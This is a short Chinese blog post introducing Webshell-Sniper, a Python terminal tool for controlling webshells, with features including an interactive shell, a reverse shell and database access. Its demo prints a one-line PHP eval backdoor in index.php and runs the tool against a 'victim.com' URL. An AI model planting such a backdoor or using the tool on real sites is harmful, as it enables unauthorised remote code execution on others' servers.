Webshell-Sniper 基于终端的Webshell管理器

发表于 2019年05月28日
安全工具

目录表

Webshell-Sniper介绍

Webshell-Sniper是一款使用Python编写的基于终端的Webshell管理器，和以往我们分享的Webshell管理工具有所不同，所有操作都在终端中完成。使用它可对您的网站进行远程管理。虽然它没有图形化的GUI也没有WEB界面，但这样的操作也是另有一翻感觉。

功能

基于终端的shell交互
反向连接shell（这就能做非常多的事了）
数据库管理

Webshell-Sniper安装与使用

环境

服务端 :
 Linux
 python 2.7
客户端 :
 apache 2.4
 php 7.0

需要注意的是，Webshell-Sniper服务端只支持Unix系统环境。

安装

git clone https://github.com/WangYihang/Webshell-Sniper
cd Webshell-Sniper
pip install -r requirements.txt

使用

Usage : 
python webshell-sniper.py [URL] [METHOD] [AUTH]
Example : 
python webshell-sniper.py http://127.0.0.1/c.php POST c
# Demo
# cat /var/www/html/index.php
<?php eval($_POST['s3cr3t']);?>
# python webshell-sniper.py http://victim.com/index.php POST s3cr3t
...